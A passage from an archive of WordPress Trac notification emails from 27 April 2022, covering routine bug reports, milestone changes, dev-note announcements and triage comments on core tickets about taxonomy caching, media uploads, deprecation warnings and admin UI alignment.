-------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion early | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing needs-unit-tests 2nd-opinion => has- patch needs-testing needs-unit-tests 2nd-opinion early * milestone: 6.0 => 6.1 Comment: I think this is good to go in but how about waiting until 6.1 is forked and doing it then rather than committing it in the lead up to RC1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:49:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:49:22 -0000 Subject: [wp-trac] [WordPress Trac] #50866: Media Uploader Blows Up File Sizes In-Reply-To: <048.ae16c18d531a2f779a0632d2af589169@wordpress.org> References: <048.ae16c18d531a2f779a0632d2af589169@wordpress.org> Message-ID: <063.2779ebf174d803c4a15fc6c03f5306c2@wordpress.org> #50866: Media Uploader Blows Up File Sizes -------------------------------------+------------------------------------- Reporter: hvar | Owner: antpb Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: Media | Version: 5.4.2 Severity: major | Resolution: Keywords: has-patch has-unit- | Focuses: administration, tests dev-feedback needs-testing | performance has-testing-info | -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: As there hasn't been any movement since @costdev reported apparent unit test failures, I'll move this to a future release as RC1 is next week. -- Ticket URL: <https://core.trac.wordpress.org/ticket/50866#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 06:54:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 06:54:59 -0000 Subject: [wp-trac] [WordPress Trac] #54736: get_sample_permalink unsets $post->filter even though this is a public property. In-Reply-To: <054.685942439bfac8ab8cda6bec7f965545@wordpress.org> References: <054.685942439bfac8ab8cda6bec7f965545@wordpress.org> Message-ID: <069.b4694896fe1cebf43273907711bb5c73@wordpress.org> #54736: get_sample_permalink unsets $post->filter even though this is a public property. ----------------------------------------+----------------------------- Reporter: herregroen | Owner: hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 2.7.1 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: ----------------------------------------+----------------------------- Comment (by niravsherasiya7707): Hello @peterwilsoncc & @hellofromTonya can I start writing PHPUnit test for the changes made on this PR(https://github.com/WordPress/wordpress- develop/pull/2626). -- Ticket URL: <https://core.trac.wordpress.org/ticket/54736#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 07:17:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 07:17:04 -0000 Subject: [wp-trac] [WordPress Trac] #55623: bug Message-ID: <048.8adadd989d9ef09bf8e7ccbe26bb8583@wordpress.org> #55623: bug --------------------------+----------------------------- Reporter: dolk | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- j'ai un problème L'éditeur a rencontré une erreur inattendue -- Ticket URL: <https://core.trac.wordpress.org/ticket/55623> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 07:17:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 07:17:05 -0000 Subject: [wp-trac] [WordPress Trac] #55624: Deprecations and proper checks needed here Message-ID: <052.bf5fe540cc2c2c17331f25d27d20a2fc@wordpress.org> #55624: Deprecations and proper checks needed here --------------------------+----------------------------- Reporter: wparslan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: needs-patch Focuses: | --------------------------+----------------------------- Deprecated: preg_match(): Passing null to parameter #2 ($subject) of type string is deprecated in C:\xampp\htdocs\wordpress\wp-includes\block- supports\layout.php on line 167 setcookie(): Passing null to parameter #5 ($domain) of type string is deprecated wp-includes/option.php:1110 rtrim(): Passing null to parameter #1 ($string) of type string is deprecated wp-includes/formatting.php:2761 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55624> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 07:46:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 07:46:44 -0000 Subject: [wp-trac] [WordPress Trac] #55624: Deprecations and proper checks needed here In-Reply-To: <052.bf5fe540cc2c2c17331f25d27d20a2fc@wordpress.org> References: <052.bf5fe540cc2c2c17331f25d27d20a2fc@wordpress.org> Message-ID: <067.a1fbd4c5c417ddfd128dd8b20ddbd107@wordpress.org> #55624: Deprecations and proper checks needed here --------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: needs-patch | Focuses: --------------------------+------------------------------ Comment (by niravsherasiya7707): Hello @wparslan, Hope you are grate, it seems like the issue is already mentioned in this [https://core.trac.wordpress.org/ticket/55411] ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55624#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 07:59:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 07:59:54 -0000 Subject: [wp-trac] [WordPress Trac] #55265: Setting colour in 5.9.1 In-Reply-To: <057.705b1c61317f6187ea6522120e3912ed@wordpress.org> References: <057.705b1c61317f6187ea6522120e3912ed@wordpress.org> Message-ID: <072.b0412755e097cd4bb89ea81b1ca56a07@wordpress.org> #55265: Setting colour in 5.9.1 ---------------------------+------------------------------ Reporter: hicklingadmin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.1 Severity: major | Resolution: Keywords: needs-patch | Focuses: ---------------------------+------------------------------ Comment (by niravsherasiya7707): Hello @hicklingadmin, can you explain the issue in more depth like where you want to change color in a block or in a block-based theme's root level? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55265#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 08:15:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 08:15:25 -0000 Subject: [wp-trac] [WordPress Trac] #54938: Error 404 in WordPress after upgrading to v5.9 In-Reply-To: <049.c59a34152d73a2166225f116184def0e@wordpress.org> References: <049.c59a34152d73a2166225f116184def0e@wordpress.org> Message-ID: <064.e8b7ad1ffbbfaacd600c3e24e46ed6f1@wordpress.org> #54938: Error 404 in WordPress after upgrading to v5.9 --------------------------+------------------------------ Reporter: somos | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9 Severity: critical | Resolution: Keywords: needs-patch | Focuses: --------------------------+------------------------------ Comment (by niravsherasiya7707): Hello, @somos please try after disabling all the plugins. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54938#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 08:45:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 08:45:00 -0000 Subject: [wp-trac] [WordPress Trac] #55625: Administration email address Message-ID: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> #55625: Administration email address ---------------------------+----------------------------- Reporter: hknight1938 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: accessibility | ---------------------------+----------------------------- Hello, I'm not receiving emails to my my "Administration email address" e.g. recovery URLs, pending change of admin emails. Thank you -- Ticket URL: <https://core.trac.wordpress.org/ticket/55625> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:35:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:35:35 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.e3fbd6f6b3a8d3226e8720b5e06fa01e@wordpress.org> #55352: Improve cache key generation in WP_Term_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- dev-note Comment: Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:37:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:37:39 -0000 Subject: [wp-trac] [WordPress Trac] #54511: Remove cache time limitation in WP_Term_Query In-Reply-To: <056.38bc778de1d761c0f2abb2ca4e174c2e@wordpress.org> References: <056.38bc778de1d761c0f2abb2ca4e174c2e@wordpress.org> Message-ID: <071.eb3a0f0b6d9030bf5accc3636893d247@wordpress.org> #54511: Remove cache time limitation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.6 Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note | Focuses: performance --------------------------------------+--------------------------- Changes (by spacedmonkey): * keywords: has-patch => has-patch needs-dev-note Comment: Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54511#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:38:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:38:29 -0000 Subject: [wp-trac] [WordPress Trac] #36949: Term exists should use get_terms internally In-Reply-To: <056.1a2e8f10898bbe1a60a5bf48d1b66f05@wordpress.org> References: <056.1a2e8f10898bbe1a60a5bf48d1b66f05@wordpress.org> Message-ID: <071.b72f4f15544ab40a75b65c72481b2fb5@wordpress.org> #36949: Term exists should use get_terms internally ----------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 2.3 Severity: normal | Resolution: fixed Keywords: needs-dev-note | Focuses: performance ----------------------------+--------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36949#comment:42> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:38:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:38:52 -0000 Subject: [wp-trac] [WordPress Trac] #55439: Introduce term_exists_args filter In-Reply-To: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> References: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> Message-ID: <065.7e060a145bc7d3c0c07fb803dc3fbb67@wordpress.org> #55439: Introduce term_exists_args filter -------------------------------------------------+------------------------- Reporter: Chouby | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note needs-docs | Focuses: -------------------------------------------------+------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55439#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:39:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:39:37 -0000 Subject: [wp-trac] [WordPress Trac] #55428: Improve cache priming in wp_get_nav_menu_items In-Reply-To: <056.daace05c4d79828512617a4516e19c3a@wordpress.org> References: <056.daace05c4d79828512617a4516e19c3a@wordpress.org> Message-ID: <071.a48f05179f6651f20653737428412a0d@wordpress.org> #55428: Improve cache priming in wp_get_nav_menu_items --------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Menus | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: performance --------------------------+--------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55428#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:40:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:40:04 -0000 Subject: [wp-trac] [WordPress Trac] #55439: Introduce term_exists_args filter In-Reply-To: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> References: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> Message-ID: <065.f07b8b084e6b1154812e72ce45b89fc5@wordpress.org> #55439: Introduce term_exists_args filter -------------------------------------------------+------------------------- Reporter: Chouby | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note needs-docs | Focuses: -------------------------------------------------+------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55439#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:40:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:40:39 -0000 Subject: [wp-trac] [WordPress Trac] #55372: Use tax_query in wp_get_nav_menu_items In-Reply-To: <056.12d558db7e95d8b127f9b8e74452a479@wordpress.org> References: <056.12d558db7e95d8b127f9b8e74452a479@wordpress.org> Message-ID: <071.e67cae3f754cf715a745ad6d48c2a29a@wordpress.org> #55372: Use tax_query in wp_get_nav_menu_items -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Menus | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch needs-unit-tests good- | Focuses: first-bug | performance -------------------------------------------------+------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55372#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 09:41:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 09:41:20 -0000 Subject: [wp-trac] [WordPress Trac] #55360: Add limit to query in WP_Tax_Query In-Reply-To: <056.8802a9742370e452f3944c3b15dd7b2a@wordpress.org> References: <056.8802a9742370e452f3944c3b15dd7b2a@wordpress.org> Message-ID: <071.80c58637f4e2ebb7589056710848b53c@wordpress.org> #55360: Add limit to query in WP_Tax_Query ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d /1Ni5upOTVbs3pmG0kD1GEGeEI3RTvspRIJz-RjbMk3mM/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55360#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 10:01:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 10:01:37 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.61e2c41c96cdd6ac38e8c1197750d8fb@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Comment (by jb510): Replying to [comment:100 uzumymw]: > But what if more than half of the existing WordPress sites will never migrate to Gutenberg? > It is actually very possible. I remember this logic being used to not fix the problems with the menu edit screen which fails on very large menus due to max_input_vars, the retort to that for a long time was “use the brand new customizer” because it didn’t have this problem. Only, the customizer was and still is awful for managing large menus. These types of issues need to get fixed, not kicked down the road for another 10 years. @jorbin in my experience it’s way more likely large existing sites won’t be moving to Gutenberg soon if ever. They’re way less likely to be doing that because of the large existing content library doesn’t really “convert to Gutenberg”. Some have a lot of custom code rendered completely useless by Gutenbergs markup. I think a more accurate phrasing would be “large well funded sites are moving to Gutenberg”, but not all large sites have the resources to make that transition. This still needs to get fixed for them and for all the corners of WP that still use the classic editor. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:103> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 10:13:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 10:13:41 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.cd3a0516aad6dd05336200ca5b9e7760@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+------------------------- Reporter: paaljoachim | Owner: nielslange Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+------------------------- Changes (by nielslange): * owner: antpb => nielslange -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 10:59:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 10:59:37 -0000 Subject: [wp-trac] [WordPress Trac] #55625: Administration email address In-Reply-To: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> References: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> Message-ID: <070.ead081d416bd8ed8aa482c2ed7a657b8@wordpress.org> #55625: Administration email address --------------------------+------------------------------ Reporter: hknight1938 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: accessibility --------------------------+------------------------------ Changes (by icraftzone): * status: new => closed * resolution: => invalid Comment: I don't think this is a WordPress core problem but problem with your hosting provider or something like that. You should post this kind of things to WordPress forum. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55625#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:11:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:11:25 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.cdbd202b9e899905ff13f880e85b058e@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Comment (by knutsp): Replying to [comment:102 johnjamesjacoby]: > Aside: if this doesn’t get addressed in WordPress via this ticket, I think it’s perfectly acceptable to port a workaround to bbPress. That could be the solution. Demonstrate a workaround the works for most cases. This could be implemented by plugins who provide custom post types with a lot of postmeta. If it then seems to work very well in almost all cases, it can be suggested for the Classic Editor plugin, too. Personally I don't expect WordPress core to fix every edge case, when that is not needed for core. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:104> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:13:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:13:45 -0000 Subject: [wp-trac] [WordPress Trac] #55625: Administration email address In-Reply-To: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> References: <055.7ee85b200f9c5cf3964845821d8d53a6@wordpress.org> Message-ID: <070.49ec4d9e6e1dede5510bd0b6c8af40cd@wordpress.org> #55625: Administration email address --------------------------+------------------------------ Reporter: hknight1938 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Changes (by knutsp): * focuses: accessibility => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55625#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:17:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:17:59 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.e35e22efc3430becf761eba910625cd2@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------------------+------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-dev- | Focuses: administration, note | multisite, performance -------------------------------------+------------------------------------- Changes (by spacedmonkey): * keywords: has-patch => has-patch needs-dev-note Comment: I have a dev note ready for [https://docs.google.com/document/d/1dQcheRRngZT-- 3SpRZ7-TYVLsUmOH4Hp0yGYnTu3p_Y/edit?usp=sharing review]. Friends ping to @flixos90 and @peterwilsoncc who are component maintainers, to take a look to see if they are happy. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:108> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:27:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:27:06 -0000 Subject: [wp-trac] [WordPress Trac] #55623: bug In-Reply-To: <048.8adadd989d9ef09bf8e7ccbe26bb8583@wordpress.org> References: <048.8adadd989d9ef09bf8e7ccbe26bb8583@wordpress.org> Message-ID: <063.3914cb70b00f5e4df3523c643c2cf5d4@wordpress.org> #55623: bug --------------------------+------------------------------ Reporter: dolk | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Changes (by knutsp): * status: new => closed * resolution: => invalid * component: General => Editor Comment: Hello and welcome to Core Trac. Sorry to hear you have trouble with your editor, but this place is for development, not for support. Please use our support forums at https://fr.wordpress.org/support/forums/ If, after deactivating all plugins and using a default theme, it turns out this is caused by a core/editor bug, come back and reopen this ticket, providing all details, or even better, file as an issue at Gutenberg GitHub Repository https://github.com/WordPress/gutenberg/issues/new/choose -- Ticket URL: <https://core.trac.wordpress.org/ticket/55623#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:49:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:49:27 -0000 Subject: [wp-trac] [WordPress Trac] #55306: Before posts/pages listing if there multiple filter drop-downs, view of pagination buttons are not better looking. In-Reply-To: <056.8adbf93b287eda30c45b130923837f18@wordpress.org> References: <056.8adbf93b287eda30c45b130923837f18@wordpress.org> Message-ID: <071.b0fe93e0e0369c1fa7384e4092b43cc3@wordpress.org> #55306: Before posts/pages listing if there multiple filter drop-downs, view of pagination buttons are not better looking. -------------------------------+-------------------------------------- Reporter: haritpanchal | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.1 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ui, css, administration -------------------------------+-------------------------------------- Changes (by haritpanchal): * Attachment "55306.diff" added. Created patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55306> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 11:50:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 11:50:32 -0000 Subject: [wp-trac] [WordPress Trac] #55306: Before posts/pages listing if there multiple filter drop-downs, view of pagination buttons are not better looking. In-Reply-To: <056.8adbf93b287eda30c45b130923837f18@wordpress.org> References: <056.8adbf93b287eda30c45b130923837f18@wordpress.org> Message-ID: <071.e47a0a234330b839b9e35349fbf83d98@wordpress.org> #55306: Before posts/pages listing if there multiple filter drop-downs, view of pagination buttons are not better looking. -------------------------------+-------------------------------------- Reporter: haritpanchal | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.1 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, css, administration -------------------------------+-------------------------------------- Changes (by haritpanchal): * keywords: needs-patch => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55306#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 12:16:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 12:16:03 -0000 Subject: [wp-trac] [WordPress Trac] #55626: Full Site Editing - Typography : Active font size bug Message-ID: <057.a178ad798fa8117361b755556c1a23b7@wordpress.org> #55626: Full Site Editing - Typography : Active font size bug ------------------------------------+----------------------------- Reporter: igorradovanov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: trunk Severity: trivial | Keywords: Focuses: ui, accessibility, css | ------------------------------------+----------------------------- There is a minor CSS bug caused by the dynamic width set on the Font size button within the Typography -> Styles section. ** How to replicate the issue?** Go to Styles -> Typography -> Text, change the Appearance from the dropdown, and the active font size will jump on the screen from right to left and back. Before suggested fix: [https://www.dropbox.com/s/5pwvsbn73askodt/Animation.gif?dl=0] **How to fix the issue?** Switch from percentage width to fixed-width (like ''vw'' or ''px'') resolves the issue. After the suggested fix: https://www.dropbox.com/s/dgfjut05t7wq95i/Animation-2.gif?dl=0 I'm happy to push the patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55626> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 12:32:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 12:32:20 -0000 Subject: [wp-trac] [WordPress Trac] #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. Message-ID: <060.5568f239be8de49ef2bd90c5441e9ce6@wordpress.org> #55627: Regarding Reload Icon not alignment with the Update Now Text on Mobile View. ------------------------------+----------------------------- Reporter: rajanpanchal2028 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.3 Severity: normal | Keywords: needs-patch Focuses: ui | ------------------------------+----------------------------- There is one issue with the Reload Icon On Mobile view when any Plugin Updates Comes. The actual issue is Reload icon is not center-aligned with the Update Now button. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55627> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 12:32:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 12:32:38 -0000 Subject: 